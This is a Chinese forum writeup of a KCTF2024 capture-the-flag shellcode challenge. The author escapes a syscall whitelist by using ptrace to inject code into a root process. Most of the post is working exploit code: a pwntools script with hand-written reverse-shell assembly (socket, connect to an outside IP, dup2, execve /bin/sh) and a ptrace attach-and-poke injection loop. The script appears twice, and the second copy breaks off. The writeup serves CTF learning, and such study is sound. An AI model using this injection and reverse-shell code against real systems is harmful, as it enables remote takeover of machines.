首页
社区
课程
招聘
[原创]KCTF2024 第八题 writeup
发表于: 2024-9-2 00:48 2889

[原创]KCTF2024 第八题 writeup

2024-9-2 00:48
2889

KCTF2024第八题——星门

<!--more-->

拿到题目,是一道典型的写shellcode的题目,白名单系统调用,只允许 read,wait4 和 ptrace。本篇次解题纯手搓汇编解决的,但是其实可以利用一下gcc编译器生成shellcode。

沙箱系统调用号白名单首先想到了切架构,但是它题目也有判断架构。因此就只能利用这个 ptrace 去做文章了。

其次应当考虑信息以何种方式回传,因为原进程是连write都不能用的,侧信道也没法,所以便起了一个docker环境去试试。发现启动脚本中。

​ 于是选择让队友先起一个docker环境,然后观察里面可以使用的进程。

发现了进程 sleep infinity,并且占用的 pid 始终保持 20 以内,并且脚本启动就是 root 权限,不用担心附加不上的问题。

最后要去尝试的一点就是该靶机是否出网,静态编译一个 socket 请求对外连接发现完全可行,因此考虑反弹 shell。

于是开始着手写 shellcode,先写可以反弹shell的shellcode,这个shellcode是我们要注入到目标进程的。这里为了保证shellcode正确,先编译一个 demo 尝试。

反弹 shell 用汇编去描述其实也非常简单。首先,反弹shell的步骤如下:

这四个步骤分别可以对应

这四个系统调用,稍微了解一下,把参数一传,就可以达到反弹 shell 的目的。

最终我的 shellcode 如下:

其中 dup2 和 execve 都可以用 shellcraft 生成,socket 和 connect 需要自己配参数,因为你搜网上的教程大概率都是用一堆的宏。shellcraft 似乎不支持这个,所以需要手动去看看那些宏的值是多少。

至于 0xe14e2b650f270002 这个数怎么来的,可以直接 C 编译出去再看看的,C语言的写法是

编译,gdb调试

得到对应 ip portserverAddr 的值。

这里需要注意的是,connect 中间需要构造一个 16 字节大小的结构体,然后传指针进去。这里一开始会比较头疼,因为你可能苦于没有确定可写的地址,但是后面想到 rsp 和 rbp 所指向的值通常是可写的,就往里面去写,然后把 rbp 作为这里的第二个参数。

然后就能得到手搓的 connect 代码。

将代码注入一个 demo 进程,反弹 shell 成功

随后我们需要写一个可以利用 ptrace 将代码注入到另一个进程的 shellcode。

这里把上面编译好的 shellcode 放到 + 0x200 的位置上,方便做循环,然后开始编写注入代码,这里本地调试就假设我们已知我们要注入的进程的 pid。

这里可以写一个被注入进程的 demo。

相关 ptrace 的解析,可以看我这一篇文章。首先我们要用 PTRACE_ATTACH 去附加这个进程,这里有一点很坑的地方是,它的第四个参数貌似不是 rcx 是 r10,并且用 shellcraft 生成也是这样,所以我在原有的基础上会加一句 mov r10,rcx

所以第一步

第一句是因为调用入口时 call rdx 因此这里先保存 mmap 分配的地址,方便给下面的寄存器使用。

第二步,因为在 ptrace 附加完成之后,进程会被阻塞,所以我们可以趁这个时机将 RIP 后面的代码布置成我们上面编写的 shellcode。所以这一步需要获取 RIP 的值。

ptrace 有获取寄存器的选项,ptrace(PTRACE_GETREGS, pid, NULL, &regs);

第四个参数是指针,我们随便给一个内存区域即可,这里我用了 +0x800 的位置。

接下来是获取当前目标进程 RIP 的值,这里可以直接看结构体定义算偏移,也可以直接 gdb 起一个看看偏移,实际它在结构体的偏移是 +0x80。

接下来就用汇编写一个循环,ptrace 一次读写内存都是 8 个字节,并且需要注意的是,在写数据的时候,第四个参数不作为指针,而是直接作为一个字的数据被写入。

最后一点需要注意的是,shellcode 写入完成之后,要主动让进程脱离调试器,如果不管的话附加的进程死亡会导致被附加的进程一起死亡,shellcode不一定能被执行。

本地调试的时候可能会有一点麻烦,如果进程异常退出基本很难查到问题所在,因为一个进程不能同时被两个进程调试,因此我们需要调试附加的进程,每一次 ptrace 调用时查看返回值是否 <0,我遇到的比较多的是返回 -5,当时是一个内存写入错误,仔细一查发现是汇编代码写错了一个,导致取到了错误的地址。

当时试了一个 pid=17 就反弹成功了。

其实这题解法应该挺多的,因为直接给了 root 权限,所以直接去写启动的二进制文件也不是不可以,把沙箱代码 patch 掉直接shellcode执行 sh,或者不用反弹shell,直接 orw 出了 flag udp 直接发过来也可以,总归它出网想要外带信息还是非常容易的。

#!/bin/sh
# Add your startup script
 
# DO NOT DELETE
/etc/init.d/xinetd start;
sleep infinity;
#!/bin/sh
# Add your startup script
 
# DO NOT DELETE
/etc/init.d/xinetd start;
sleep infinity;
struct sockaddr_in serverAddr;
int clientSocket = socket(AF_INET, SOCK_STREAM, 0);//TCP listen
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(9999);
serverAddr.sin_addr.s_addr = inet_addr("101.43.78.225");
connect(clientSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr))
struct sockaddr_in serverAddr;
int clientSocket = socket(AF_INET, SOCK_STREAM, 0);//TCP listen
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(9999);
serverAddr.sin_addr.s_addr = inet_addr("101.43.78.225");
connect(clientSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr))
#include<unistd.h>
#include<stdio.h>
int main(){
    printf("pid=%d\n",getpid());
    while(1){
//      sleep(1);
    }
}
#include<unistd.h>
#include<stdio.h>
int main(){
    printf("pid=%d\n",getpid());
    while(1){
//      sleep(1);
    }
}
from pwn import *
if len(sys.argv)!=2:
    print('usage: exp.py pid')
    quit()
context.arch='amd64'
serveraddr=[0xe14e2b650f270002,0x0000000000000064]
#server struct
#target ip: 101.43.78.225:9999
#p=process('./test')
p=remote('47.101.191.23',9999)
#p.recvuntil('0x')
#addr=int(p.recv(12),16)
 
addr=0x7f0000000000
inject_shellcode=f'''
/*socket(AF_INET,SOCK_STREAM,0)*/
mov edi,1
mov rsi,rsp
mov rdx,0x30
mov eax,1
syscall
 
mov edi,2
mov esi,1
mov edx,0
mov eax,41
syscall
 
mov r14,0xe14e2b650f270002
mov r15,0x64
mov r12,rsp
mov [r12],r14
mov [r12+8],r15
mov r13,r12
/*connect(sockfd,serveraddr,16)*/
mov edi,eax
mov rsi,r13
mov edx,16
mov eax,42
syscall
 
/* dup2(fd=3, fd2=0) */
push 3
pop rdi
xor esi, esi /* 0 */
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall
 
/* dup2(fd=3, fd2=1) */
push 3
pop rdi
push 1
pop rsi
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall
 
/* dup2(fd=3, fd2=2) */
push 3
pop rdi
push 2
pop rsi
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall
 
/* execve(path='/bin/sh', argv=0, envp=0) */
/* push b'/bin/sh\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x68732f6e69622f
xor [rsp], rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
'''
#print(len(asm(inject_shellcode)))
inject_shellbytes=b'\x90'*6+asm(inject_shellcode)
print('inject_shellcode: '+hex(len(inject_shellbytes)))
pid=sys.argv[1]
shellcode=f'''
/*save mmap start addr*/
push rdx
/* ptrace(request=0x10, vararg_0=0x64, vararg_1=0, vararg_2=0) */
mov edi,0x10/*ATTACH*/
mov esi,{pid}
mov rdx,0
mov rcx,0
mov eax,SYS_ptrace /* 0x65 */
syscall
 
test ax,ax
jnz fail
 
mov edi,0xc /*GETREGS*/
mov esi,{pid}
mov rdx,0
pop rcx
push rcx
add rcx,0x800
mov r10,rcx
mov eax,SYS_ptrace /* 0x65 */
syscall
 
pop rcx
push rcx
add rcx,0x880
mov rdx,[rcx]
/*RIP offset*/
pop rcx
add rcx,0x200
push rcx
/*inject shellcode*/
push rdx
mov rbx,0x100
loop:
    pop rdx
    pop rcx
    push rcx
    push rdx
    mov edi,4/*pokedata*/
    mov rsi,{pid}
    mov r10,[rcx]
    mov eax,SYS_ptrace
    syscall
    pop rdx
    pop rcx
    add rcx,8
    add rdx,8
    push rcx
    push rdx
    sub rbx,8
    test rbx,rbx
    jnz loop
 
mov edi,7
mov rsi,{pid}
mov rdx,0
mov r10,0
mov eax,SYS_ptrace
syscall
mov edi,17
mov rsi,{pid}
mov rdx,0
mov r10,0
mov eax,SYS_ptrace
syscall
 
 
fail:
'''
payload=asm(shellcode).ljust(0x200,b'\0')+inject_shellbytes
 
#payload=inject_shellbytes
 
#gdb.attach(p)
p.send(payload)
 
#p.close()
p.interactive()
from pwn import *
if len(sys.argv)!=2:
    print('usage: exp.py pid')
    quit()
context.arch='amd64'
serveraddr=[0xe14e2b650f270002,0x0000000000000064]
#server struct
#target ip: 101.43.78.225:9999
#p=process('./test')
p=remote('47.101.191.23',9999)
#p.recvuntil('0x')
#addr=int(p.recv(12),16)
 
addr=0x7f0000000000
inject_shellcode=f'''
/*socket(AF_INET,SOCK_STREAM,0)*/
mov edi,1
mov rsi,rsp
mov rdx,0x30
mov eax,1
syscall
 
mov edi,2
mov esi,1
mov edx,0
mov eax,41
syscall
 
mov r14,0xe14e2b650f270002
mov r15,0x64
mov r12,rsp
mov [r12],r14
mov [r12+8],r15
mov r13,r12
/*connect(sockfd,serveraddr,16)*/
mov edi,eax
mov rsi,r13
mov edx,16
mov eax,42
syscall
 
/* dup2(fd=3, fd2=0) */
push 3
pop rdi
xor esi, esi /* 0 */
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall
 
/* dup2(fd=3, fd2=1) */
push 3
pop rdi
push 1
pop rsi
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall
 
/* dup2(fd=3, fd2=2) */
push 3

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//